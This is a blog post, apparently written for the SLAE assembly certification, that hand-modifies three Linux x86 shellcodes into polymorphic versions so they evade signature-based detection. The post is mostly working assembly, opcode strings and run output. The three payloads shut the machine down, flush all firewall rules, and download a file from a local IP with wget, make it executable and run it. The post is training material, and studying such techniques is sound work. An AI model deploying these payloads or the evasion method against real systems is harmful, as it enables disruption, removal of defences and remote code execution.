SLAE 6: Creating polymorphic shellcode


Programming / January 26, 2020 • 8 min read

Tags: slae shellcoding


The goal of this article is to create polymorphic verions of three different shellcodes from http://shell-storm.org. Polymorphic shellcode has the ability to mutate its code everytime it runs. The instructions changes while algorithm stays intact. The purpose is to evade signature based detections without manually change the shellcode.

We won’t be creating our own polymorphic engine in this article, instead we will manually modify these three shellcodes from shell-storm.org:

We are not allowed to increase the size more than 50%.

Shellcode 1: shutdown -h now - 56 bytes

The following program will shutdown your computer immediately when run:

 1/*
 2; Title: shutdown -h now Shellcode - 56 bytes
 3; Date: 2014-06-27
 4; Platform: linux/x86
 5; Author: Osanda Malith Jayathissa (@OsandaMalith)
 6
 7Disassembly of section .text:
 8
 908048060 <_start>:
108048060:    31 c0                   xor    eax,eax
118048062:    31 d2                   xor    edx,edx
128048064:    50                      push   eax
138048065:    66 68 2d 68             pushw  0x682d
148048069:    89 e7                   mov    edi,esp
15804806b:    50                      push   eax
16804806c:    6a 6e                   push   0x6e
17804806e:    66 c7 44 24 01 6f 77    mov    WORD PTR [esp+0x1],0x776f
188048075:    89 e7                   mov    edi,esp
198048077:    50                      push   eax
208048078:    68 64 6f 77 6e          push   0x6e776f64
21804807d:    68 73 68 75 74          push   0x74756873
228048082:    68 6e 2f 2f 2f          push   0x2f2f2f6e
238048087:    68 2f 73 62 69          push   0x6962732f
24804808c:    89 e3                   mov    ebx,esp
25804808e:    52                      push   edx
26804808f:    56                      push   esi
278048090:    57                      push   edi
288048091:    53                      push   ebx
298048092:    89 e1                   mov    ecx,esp
308048094:    b0 0b                   mov    al,0xb
318048096:    cd 80                   int    0x80
32
33*/
34
35#include <stdio.h>
36#include <string.h>
37
38unsigned char code[] =  "\x31\xc0\x31\xd2\x50\x66\x68\x2d"
39"\x68\x89\xe7\x50\x6a\x6e\x66\xc7"
40"\x44\x24\x01\x6f\x77\x89\xe7\x50"
41"\x68\x64\x6f\x77\x6e\x68\x73\x68"
42"\x75\x74\x68\x6e\x2f\x2f\x2f\x68"
43"\x2f\x73\x62\x69\x89\xe3\x52\x56"
44"\x57\x53\x89\xe1\xb0\x0b\xcd\x80";
45
46int
47main() {
48
49printf("Shellcode Length:  %d\n", (int)strlen(code));
50int (*ret)() = (int(*)())code;
51ret();
52
53return 0;
54}

I extracted the assembly code and modified it manually. The comments prefixed with [M] indicates that the instruction has been modified.

 1global _start
 2
 3section .text
 4
 5_start:
 6
 7    xor    ecx,ecx                      ; [M] clear ecx
 8    mul    ecx                          ; [M] clear both eax and edx
 9    push   edx                          ; [M] push edx instead of eax
10    push word 0x682d                    ; -h option
11    mov    edi,esp                      ; save stack pointer to edi
12    push   eax                          ; push null
13    push byte 0x6e                      ; "n" character
14    mov byte [esp+1], 0x6f              ; [M] "o" character
15    mov byte [esp+2], 0x77              ; [M] "w" character
16    mov    edi,esp                      ; save stack pointer to edi
17    push   eax                          ; push null
18    push   0x6e776f64                   ; these four push instructions correspond to /sbin///shutdown
19    push   0x74756873
20    push   0x2f2f2f6e
21    push   0x6962732f
22    mov    ebx,esp                      ; save stack pointer to ebx
23    push   edx                          ; push null
24    push   esi
25    push   edi                          ; points to "-h now"
26    push   ebx                          ; points to /sbin///shutdown
27    mov    ecx,esp                      ; save stack pointer to ecx
28    mov    al,0xc-1                     ; [M] 0xc - 1 = 0xb which is execve() syscall
29    int    0x80                         ; Execute syscall

Running the modified version returns:

dubs3c@slae:~/SLAE/EXAM/github/assignment_6$ ./shellcode
Shellcode length:  59
shutdown: Need to be root

Nice! We only added 3 extra bytes. Running the program as root shuts down the computer.

Shellcode 2: 40 byte shellcode to flush ipchains for Linux x86

The purpose of the next shellcode is to delete all ipchains entries. So any firewall rules set in place will be wiped out.

 1/* By Kris Katterjohn 11/18/2006
 2 *
 3 * 40 byte shellcode to flush ipchains for Linux x86
 4 *
 5 *
 6 *
 7 * section .text
 8 *
 9 *      global _start
10 *
11 * _start:
12 *
13 * ; execve("/sbin/ipchains", { "/sbin/ipchains", "-F", NULL }, NULL)
14 *
15 *      push byte 11
16 *      pop eax
17 *      cdq
18 *      push edx
19 *      push word 0x462d
20 *      mov ecx, esp
21 *      push edx
22 *      push word 0x736e
23 *      push 0x69616863
24 *      push 0x70692f6e
25 *      push 0x6962732f
26 *      mov ebx, esp
27 *      push edx
28 *      push ecx
29 *      push ebx
30 *      mov ecx, esp
31 *      int 0x80
32 */
33
34main()
35{
36       char shellcode[] =
37               "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x46\x89"
38               "\xe1\x52\x66\x68\x6e\x73\x68\x63\x68\x61"
39               "\x69\x68\x6e\x2f\x69\x70\x68\x2f\x73\x62"
40               "\x69\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80";
41
42       (*(void (*)()) shellcode)();
43}

Because I don’t have the command ipchains on my system, I cheated a little bit and created the following script in /sbin/ipchains:

1#!/bin/bash
2
3/sbin/iptables "$@"

The modified shellcode can be seen below. Comments starting with [M] indicates that the instruction has been modified.

 1section .text
 2
 3global _start
 4
 5_start:
 6    xor ecx, ecx            ; [M] zero out ecx
 7    mul ecx                 ; [M] zero out edx and eax
 8    push byte 10            ; [M]
 9    pop eax                 ; eax = 10
10    push ecx                ; push ecx instead of edx
11    push 0x2d               ; [M] "-" char
12    mov byte [esp+1], 0x46  ; [M] "F" char
13    mov ecx, esp            ; save current stack pointer to ecx
14    push edx                ; push null
15    push word 0x736e        ; following 4 push instructions form /sbin/ipchains
16    push 0x69616863
17    push 0x70692f6e
18    push 0x6962732f
19    push 0xdeadbeef         ; [M] add some nonsese
20    pop edi                 ; [M]
21    mov ebx, esp            ; save currrent stack pointer to ebx
22    push edx                ; push null
23    push ecx                ; points to "-F"
24    push ebx                ; points to /sbin/ipchains
25    xor ecx, ecx            ; [M] add some nonsense
26    mov edi, esp            ; [M] add some nonsense
27    xchg ecx, edi           ; [M] save current stack pointer to ecx
28    inc eax                 ; [M] syscall 11: execve()
29    int 0x80                ; execute syscall

The output below shows how the shellcode deletes a DROP rule from iptables:

dubs3c@slae:~/SLAE/EXAM/github/assignment_6$ sudo iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination
DROP       all  --  192.168.1.254        anywhere

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination
dubs3c@slae:~/SLAE/EXAM/github/assignment_6$ sudo ./shellcode
Shellcode length:  57
dubs3c@slae:~/SLAE/EXAM/github/assignment_6$ sudo iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination

The modified shellcode increased with 17 bytes which is a 42% increase.

Shellcode 3: Download + chmod + exec - 108 bytes

The next and final shellcode is a little bit bigger than the previous samples. Let’s begin modifying it!

 1/*
 2; Filename: downloadexec.nasm
 3; Author: Daniel Sauder
 4; Website: http://govolution.wordpress.com/
 5; Tested on: Ubuntu 12.04 / 32Bit
 6; License: http://creativecommons.org/licenses/by-sa/3.0/
 7
 8; Shellcode:
 9; - download 192.168.2.222/x with wget
10; - chmod x
11; - execute x
12; - x is an executable
13; - length 108 bytes
14
15global _start
16
17section .text
18
19_start:
20
21    ;fork
22    xor eax,eax
23    mov al,0x2
24    int 0x80
25    xor ebx,ebx
26    cmp eax,ebx
27    jz child
28  
29    ;wait(NULL)
30    xor eax,eax
31    mov al,0x7
32    int 0x80
33        
34    ;chmod x
35    xor ecx,ecx
36    xor eax, eax
37    push eax
38    mov al, 0xf
39    push 0x78
40    mov ebx, esp
41    xor ecx, ecx
42    mov cx, 0x1ff
43    int 0x80
44    
45    ;exec x
46    xor eax, eax
47    push eax
48    push 0x78
49    mov ebx, esp
50    push eax
51    mov edx, esp
52    push ebx
53    mov ecx, esp
54    mov al, 11
55    int 0x80
56    
57child:
58    ;download 192.168.2.222//x with wget
59    push 0xb
60    pop eax
61    cdq
62    push edx
63    
64    push 0x782f2f32 ;2//x avoid null byte
65    push 0x32322e32 ;22.2
66    push 0x2e383631 ;.861
67    push 0x2e323931 ;.291
68    mov ecx,esp
69    push edx
70    
71    push 0x74 ;t
72    push 0x6567772f ;egw/
73    push 0x6e69622f ;nib/
74    push 0x7273752f ;rsu/
75    mov ebx,esp
76    push edx
77    push ecx
78    push ebx
79    mov ecx,esp
80    int 0x80
81    
82*/
83
84#include <stdio.h>
85#include <string.h>
86
87unsigned char code[] = \
88"\x31\xc0\xb0\x02\xcd\x80\x31\xdb\x39\xd8\x74\x2a\x31\xc0\xb0\x07\xcd\x80\x31\xc9\x31\xc0\x50\xb0\x0f\x6a\x78\x89\xe3\x31\xc9\x66\xb9\xff\x01\xcd\x80\x31\xc0\x50\x6a\x78\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x6a\x0b\x58\x99\x52\x68\x32\x2f\x2f\x78\x68\x32\x2e\x32\x32\x68\x31\x36\x38\x2e\x68\x31\x39\x32\x2e\x89\xe1\x52\x6a\x74\x68\x2f\x77\x67\x65\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80";
89
90main()
91{
92    printf("Shellcode Length:  %d\n", strlen(code));
93    int (*ret)() = (int(*)())code;
94    ret();
95}

Let’s go!

 1global _start
 2
 3section .text
 4
 5_start:
 6
 7    ;fork
 8    xor ecx,ecx         ; [M] zero ecx instead of eax
 9    mul ecx             ; [M] set eax and edx to zero
10    mov al, 0x1         ; [M]
11    inc al              ; [M] fork syscall
12    int 0x80            ; execute syscall
13    mov ebx,edx         ; [M] mov edx into ebx instead of xor ebx,ebx
14    cmp eax,ebx
15    jz child
16
17    ;wait(NULL)
18    xor eax,eax
19    mov al,0x8          ; [M]
20    dec al              ; [M] waitpid syscall
21    int 0x80            ; execute syscall
22
23    ;chmod x
24    ;xor ecx,ecx        ; this can be removed
25    xor eax, eax        ; zero out eax
26    push edx            ; [M] push edx instead of eax, null byte
27    mov al, 0xf         ; chmod syscall
28    push 0x78           ; "x" character
29    mov ebx, esp        ; set current stack pointer to ebx
30    mov ecx, edx        ; [M] mov ecx,edx instead of xor ecx,ecx
31    mov cx, 0x1ff       ; set chmod mode to 511
32    int 0x80            ; execute syscall
33
34    ;exec x
35    ;xor eax, eax       ; this can be removed
36    push edx            ; [M] push edx instead of eax
37    push 0x78           ; "x" character
38    mov ebx, esp        ; set current stack pointer to ebx
39    push edx            ; [M] push edx instead of eax
40    mov edx, esp        ; set current stack pointer to edx
41    push ebx
42    mov ecx, esp
43    mov al, 0xa         ; [M]
44    inc al              ; [M] 0xb is execve syscall
45    int 0x80            ; execute syscall
46
47child:
48    ;download 192.168.1.20/x with wget
49    xor ecx, ecx        ; [M]
50    mul ecx             ; [M]
51    mov al, 0xb         ; [M] execve syscall
52    push edx
53
54    push word 0x782f    ; [M] /x avoid null byte
55    push 0x30322e31     ; [M] 20.1
56    push 0x2e383631     ; .861
57    push 0x2e323931     ; .291
58    mov ecx,esp
59    push edx
60
61    push 0x74           ;t
62    push 0x6567772f     ;egw/
63    push 0x6e69622f     ;nib/
64    push 0x7273752f     ;rsu/
65    mov ebx,esp
66    push edx
67    push ecx
68    push ebx
69    mov ecx,esp
70    int 0x80            ; execute syscall

We added 5 bytes and removed 2 lines from the original shellcode. This results in a total of 113 bytes for the modified shellcode. That’s a 4% increase :) The image below shows how the program downloads a file and executes it.

shellcode_3_image.png

That’s it, stay tuned for the next and final article in my SLAE series.


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

https://www.pentesteracademy.com/course?id=3

Student ID: SLAE-1490